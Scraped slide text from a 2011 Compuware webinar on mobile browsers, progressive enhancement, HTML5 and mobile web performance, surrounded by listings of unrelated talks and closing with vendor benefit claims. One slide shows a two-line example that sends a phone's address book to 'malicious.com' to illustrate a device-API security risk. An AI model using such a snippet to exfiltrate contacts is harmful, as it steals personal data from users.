Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...Will Schroeder
 
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...Aggregage
 

Último (20)

20230202 - Introduction to tis-py
20230202 - Introduction to tis-py20230202 - Introduction to tis-py
20230202 - Introduction to tis-py
 
Building AI-Driven Apps Using Semantic Kernel.pptx
Building AI-Driven Apps Using Semantic Kernel.pptxBuilding AI-Driven Apps Using Semantic Kernel.pptx
Building AI-Driven Apps Using Semantic Kernel.pptx
 
Linked Data in Production: Moving Beyond Ontologies
Linked Data in Production: Moving Beyond OntologiesLinked Data in Production: Moving Beyond Ontologies
Linked Data in Production: Moving Beyond Ontologies
 
Cybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptxCybersecurity Workshop #1.pptx
Cybersecurity Workshop #1.pptx
 
Nanopower In Semiconductor Industry.pdf
Nanopower  In Semiconductor Industry.pdfNanopower  In Semiconductor Industry.pdf
Nanopower In Semiconductor Industry.pdf
 
Videogame localization & technology_ how to enhance the power of translation.pdf
Videogame localization & technology_ how to enhance the power of translation.pdfVideogame localization & technology_ how to enhance the power of translation.pdf
Videogame localization & technology_ how to enhance the power of translation.pdf
 
Anypoint Code Builder , Google Pub sub connector and MuleSoft RPA
Anypoint Code Builder , Google Pub sub connector and MuleSoft RPAAnypoint Code Builder , Google Pub sub connector and MuleSoft RPA
Anypoint Code Builder , Google Pub sub connector and MuleSoft RPA
 
UiPath Community: AI for UiPath Automation Developers
UiPath Community: AI for UiPath Automation DevelopersUiPath Community: AI for UiPath Automation Developers
UiPath Community: AI for UiPath Automation Developers
 
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019
IESVE Software for Florida Code Compliance Using ASHRAE 90.1-2019
 
201610817 - edge part1
201610817 - edge part1201610817 - edge part1
201610817 - edge part1
 
20150722 - AGV
20150722 - AGV20150722 - AGV
20150722 - AGV
 
UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...
UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...
UWB Technology for Enhanced Indoor and Outdoor Positioning in Physiological M...
 
Empowering Africa's Next Generation: The AI Leadership Blueprint
Empowering Africa's Next Generation: The AI Leadership BlueprintEmpowering Africa's Next Generation: The AI Leadership Blueprint
Empowering Africa's Next Generation: The AI Leadership Blueprint
 
Building Your Own AI Instance (TBLC AI )
Building Your Own AI Instance (TBLC AI )Building Your Own AI Instance (TBLC AI )
Building Your Own AI Instance (TBLC AI )
 
How Accurate are Carbon Emissions Projections?
How Accurate are Carbon Emissions Projections?How Accurate are Carbon Emissions Projections?
How Accurate are Carbon Emissions Projections?
 
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCost
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCostKubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCost
KubeConEU24-Monitoring Kubernetes and Cloud Spend with OpenCost
 
Connector Corner: Extending LLM automation use cases with UiPath GenAI connec...
Connector Corner: Extending LLM automation use cases with UiPath GenAI connec...Connector Corner: Extending LLM automation use cases with UiPath GenAI connec...
Connector Corner: Extending LLM automation use cases with UiPath GenAI connec...
 
OpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability AdventureOpenShift Commons Paris - Choose Your Own Observability Adventure
OpenShift Commons Paris - Choose Your Own Observability Adventure
 
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...
Apres-Cyber - The Data Dilemma: Bridging Offensive Operations and Machine Lea...
 
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...
The Data Metaverse: Unpacking the Roles, Use Cases, and Tech Trends in Data a...
 

Best practices for delivering quality web experiences

  • 2. State of the mobile web Peter-Paul Koch http://quirksmode.org http://twitter.com/ppk Compuware Webinar , 24 March 2011
  • 3. Mobile First! • Design your sites for mobile first. • You’ll be forced to decide what is so important that it MUST be shown in the mobile device’s tiny display. • The things you leave out of the mobile version don’t really need to be in the desktop version, either.
  • 4. The mobile browsers • Safari iPhone • Obigo WebKit • Android WebKit • Ovi • Dolfin for bada • Bolt • BlackBerry WebKit • BlackBerry old • Opera Mobile • Phantom • Opera Mini • Obigo old • MicroB • NetFront • Nokia WebKit • IE • Firefox • UCWeb You may groan now.
  • 5. The mobile browsers • Safari iPhone • Obigo WebKit • Android WebKit • Ovi • Dolfin for bada • Bolt • BlackBerry WebKit • BlackBerry old • Opera Mobile • Phantom • Opera Mini • Obigo old • MicroB • NetFront • Nokia WebKit • IE • Firefox • UCWeb WebKit-based
  • 6. WebKit on Mobile There is no WebKit on mobile! There's iPhone Safari (2 and 3), and Android (1.0 and 1.5) and S60 WebKit (v3 and v5) and Blackberry WebKit, and Palm WebKit, and Bolt, Ozone, Teashark, and a few more These WebKits are all different.
  • 7. Exhibit A: WebKit comparison table http://quirksmode.org/webkit.html
  • 8. The mobile browsers • Safari iPhone • Obigo WebKit • Android WebKit • Ovi • Dolfin for bada • Bolt • BlackBerry WebKit • BlackBerry old • Opera Mobile • Phantom • Opera Mini • Obigo old • MicroB • NetFront • Nokia WebKit • IE • Firefox • UCWeb
  • 9. The mobile browsers • Safari iPhone • Obigo WebKit • Android WebKit • Ovi • Dolfin for bada • Bolt • BlackBerry WebKit • BlackBerry old • Opera Mobile • Phantom • Opera Mini • Obigo old • MicroB • NetFront • Nokia WebKit • IE • Firefox • UCWeb Proxy browsers
  • 10. Proxy browsers • Page is downloaded to and rendered on a specialised server. • A highly compressed image is sent to the client. • Advantage: cheap, both in device and in network costs • Disadvantage: no client-side interactivity
  • 11. Global stats Q4 2010 (by StatCounter) Safari 23% iOS Stable Opera 22% Many OSs Stable BlackBerry 18% BlackBerry Down Nokia 16% Symbian (and S40) Stable Android 12% Android Up NetFront 4% Sony Ericsson & Samsung Stable Samsung 1% bada Up UCWeb 1% Many OSs Down Others 3%
  • 12. Browser stats • Those are GLOBAL stats; they are not necessarily correct for the sites you’re working on. Always check your stats. • Social media referrals cause disproportionate iPhone visits; and Android to a lesser degree.
  • 14. But usually this is what happens Rest? What rest?
  • 15. Which mobile browsers? • Safari iPhone • Opera Mini • Android WebKit • US: BlackBerry (WebKit and older) • Europe: Nokia WebKit • Dolfin for bada (easy) • Opera Mobile (easy)
  • 16. Progressive enhancement How do you deal with this immense amount of browsers? Use advanced tricks, but make sure your site remains usable without them. The site is enhanced as much as the browser allows.
  • 17. Progressive enhancement HTML All browsers support HTML. That’s the definition of a browser.
  • 18. Progressive enhancement Basic CSS HTML All browsers support most basic CSS. There will be bugs, but only few.
  • 19. Progressive enhancement Advanced CSS Basic CSS HTML Advanced CSS is restricted to advanced browsers. Make sure it contains nothing vital; just nice extras.
  • 20. Progressive enhancement Advanced CSS Basic CSS Basic JavaScript HTML All browsers support basic JavaScript, but they can be slow. Maybe switch off in BB5 and lower.
  • 21. Progressive enhancement Advanced CSS Advanced JavaScript Basic CSS Basic JavaScript HTML Advanced JavaScript is a problem. Feature detection is your friend. Make sure it contains nothing vital.
  • 22. Progressive enhancement CSS animations? Use them. If they don’t work, nothing is lost. Offline storage? Use it. If it doesn’t work, the user reloads the site every time. Not perfect, but it works.
  • 23. Performance How long does it take to generate 250 lists with 20 items each? The following graphs give the number of seconds it took the browsers. http://quirksmode.org/m/tests/DOMspeed.html
  • 26. HTML5 • Which browsers support HTML5? • What is HTML5, anyway? • Ask five web developers and they’ll give you five different answers.
  • 27. HTML5 • Offline storage • Video and audio • Canvas • New input types • Websockets • New semantics • SVG • File API • etc. etc. etc.
  • 28. Offline storage • Safari iPhone • Obigo WebKit • Android WebKit • Ovi • Dolfin for bada • Bolt • BlackBerry WebKit • BlackBerry old • Opera Mobile • Phantom • Opera Mini • Obigo old • MicroB • NetFront • Nokia WebKit • IE • Firefox • UCWeb
  • 29. SVG • Safari iPhone • Obigo WebKit • Android WebKit • Ovi • Dolfin for bada • Bolt • BlackBerry WebKit • BlackBerry old • Opera Mobile • Phantom • Opera Mini • Obigo old • MicroB • NetFront • Nokia WebKit • IE • Firefox • UCWeb
  • 30. New input types • Safari iPhone • Obigo WebKit • Android WebKit • Ovi • Dolfin for bada • Bolt • BlackBerry WebKit • BlackBerry old • Opera Mobile • Phantom • Opera Mini • Obigo old • MicroB • NetFront • Nokia WebKit • IE • Firefox • UCWeb
  • 31. HTML5 • Which browsers support HTML5? • It depends. • HTML5 is mainly a marketing buzzword. • That’s not bad; we need it. • But it has no technical meaning.
  • 32. HTML5 apps • One core app written in HTML, CSS, and JavaScript. • Deployed to several mobile platforms. • Ideally, CSS and JavaScript are stored on the device. • If it can't be deployed it's still a website.
  • 33. Symbian Windows Mobile I’ve done it. In April 2009.
  • 34. Device APIs • Native apps offer device APIs. • They allow you to access the camera, accelerometer, SMS, file system, etc. • Web apps will have to offer them, too. device.phone.call(device.addressBook['mom'])
  • 35. Device APIs var ab = device.addressBook.toString(); sendRequest(POST,'malicious.com',ab); There’s a serious security problem here. Providing trusted apps might remain an app store function.
  • 36. Summary • Mobile First! Design for mobile, and your desktop site will become better, too. • Use progressive enhancement. Lots of it. It will keep you sane. • Know which browsers to develop for.
  • 37. Which mobile browsers? • Safari iPhone • Opera Mini • Android WebKit • US: BlackBerry (WebKit and older) • Europe: Nokia WebKit • Dolfin for bada (easy) • Opera Mobile (easy)
  • 38. Thank you • Peter-Paul Koch • http://quirksmode.org • http://twitter.com/ppk • Compuware Webinar , 24 March 2011
  • 39. Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Browser World Steve Tack CTO APM Solutions Compuware
  • 40. Users Access The Web On A Variety Of Browsers And Devices
  • 41. Mobile Devices & Browsers Ever More Important • Morgan Stanley predicts global mobile users will outnumber desktop internet users within 3 years Global Mobile vs. Desktop Internet User Projection, 2007 - 2015 2000 1800 Desktop Users 1600 Mobile Users Internet Users (MM) 1400 1200 1000 800 600 400 200 0 2007 2008 2009 2010 2011 2012 2013 2014 2015 Source: Mary Meeker, Morgan Stanley
  • 42. Typical Evolution Of A Company’s Mobile Strategy • Denial – Don’t do anything – “Mobile Phone Users? Do we have any?” Limitation – “Just have them go to our regular website” • (Reluctant) Acceptance – Create a minimal mobile website – “Let’s create a simple version of our website that works across all devices” – Lowest common denominator approach • Panic – Get an app store presence as quickly as possible – “We have to have a native app. Everyone else is doing it” – Create a thin native wrapper around the browser object. Low effort. Questionable value. • Contemplation – Fix the native app – “Wow! These phones can do that?” – Iteratively replace browser object with native calls, add device-specific capabilities • Maturity – Optimize the mobile website Opportunity – “Wow! I can do that in a browser? Really?” – Use the mobile-specific browser capabilities to enhance mobile website
  • 43. Smartphone Owners By Far Most Active Users Of Mobile Web F e e p a h t o u n r e Q M D S mh ao rn t e p 0% 10% 20% 30% 40% 50% 60% 70% 80% 90% Daily Weekly Monthly Source: Forrester Research North American Technographics® Benchmark Surveys, Q2 2010
  • 44. Different Browsers And Devices Have Different Capabilities • In turn different browsers offer different experiences - even amongst high-end, touch screen smartphones
  • 45. Smartphones Have Redefined Mobile End-Users’ Experience Expectations • By end of 2011 Nielsen expects more smartphones in U.S. than feature phones • As of November 2010 – 31% of U.S. mobile subscribers own smartphones – 45% of recent acquirers chose a smartphone over a feature phone • Mobile end-users expect rich, engaging mobile web experiences
  • 46. End-Users’ Mobile Experience Expectations Are Increasing
  • 47. End-Users’ Mobile Experience Expectations Are Often Not Met • Mobile website performance impacts business results – 52% of users are unlikely to return to a site they had trouble accessing on their phone • 40% said they’d likely visit a competitor’s website instead Social media allows users to voice & record their frustration in real-time, negatively impacting revenue and brand equity
  • 48. Poor Mobile Website Performance Hurts Business Abandonment Rate Across 200+ Web Sites / 177+ Million Page 30 Abandonment Rate - All Browsers 25 Abandonment Rate (%) Abandonment Rate 20 - iPhone Safari 15 Slower pages = higher abandonment 10 • Reduces revenue • Increases costs • Damages brand 5 0 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Page Load Time (sec.) Source: Gomez real user monitoring
  • 49. Delivering Quality Mobile Web Experiences Is Difficult - Solution: Adopt Your End-Users' POV The Application Delivery Chain • Resource contention • Capacity issues Cloud • Slow bursting Customers Private Public Browsers Local Data Center • Inconsistent geo performance ISP • Bad performance under load 3rd Party/ Virtual/Physical Environment • Blocking content delivery Cloud Services • Poorly performing DB App Web Load • Network JavaScript Mainframe Servers Servers Servers Balancers Major peering • Browser/ ISP problems device • Poorly performing • Network incompatibility problems • Bandwidth Java or .NET methods • Bandwidth Customer/user point of view throttling • Pages too big contention • Inconsistent • Low cache • Slow SQL or Web Storage transactions • Network connectivity hit rate services • Improper load Network peering Content • Server performance balancing problems • Outages Delivery Networks Web Mobile WAN Services Components Optimization Mobile • Configuration issues • Oversubscribed POP Carrier • Poor routing optimization Devices Employees Employees • Low cache hit rate • Network resource shortage • Faulty content transcoding • SMS routing / latency issues
  • 50. Know Your End-Users • Can mobile end-users complete key transactions? – While on the move – Often one-handed – With intermittent network/GPS connections • What devices and browsers do they use? • What networks are they on? • What are their usage patterns? • What is their geographic location? • What is their context? • What are their objectives?
  • 51. Browsers Are Evolving • HTML5 support – Application cache, canvas, audio, video, local storage, geo-location, etc. • CSS3 support – Web fonts, animations, gradients, shadows, etc. • Performance improvements – Faster JavaScript processing – Parallel download of JS scripts – More parallel connections – Resource pre-fetching – Multi-threading in JS
  • 52. Leverage Browser Capabilities To Improve Perceived Performance • Fewer steps to complete an end-user goal equals better perceived performance from an end-users’ perspective
  • 53. Ensure Mobile Web Applications Function As Intended Across All The Devices Your Customers Use Android 2.2 – Nexus One BlackBerry OS 5 – Storm 2 iOS 4.1 – iPhone 3GS
  • 54. Embrace A “One Web” Application Performance Management Approach • Mobile websites and applications often share backend infrastructure and services with existing web apps • Important to leverage established and common best practices, metrics and technologies for both mobile and web channels – Garner operational efficiencies – Identify mobile specific problems, web specific problems or both across the entire application delivery chain - from device to datacenter iPad & Safari iPhone & Safari iPhone App Windows 7 & Chrome
  • 55. How To Deliver Quality Web Experiences In A Mobile, Multi-Browser World • Adopt your end-users' point of view • Know your end-users • Tailor your mobile experience to meet your end- users' objectives • Leverage browser capabilities to improve perceived performance • Ensure mobile web applications function as intended across all the devices your customers use • Embrace a “One Web” application performance management approach
  • 56. Questions? Compuware Customers Enjoy Measurable Benefits • Increased revenue 25% • Reduced revenue loss by 92% and $737,251 annually • Reduced home page load time from 11.3 seconds to 3.4 seconds • Saved 50%+ in staff and fees • Reduced downtime 45% • Improved first-hour problem resolution rate to 80% • Improved annual troubleshooting efficiency by 97%, saving $784,000 • Reduced SAP license costs by $475,000 per year For more information visit Gomez.com or contact us at +1 781.778.2700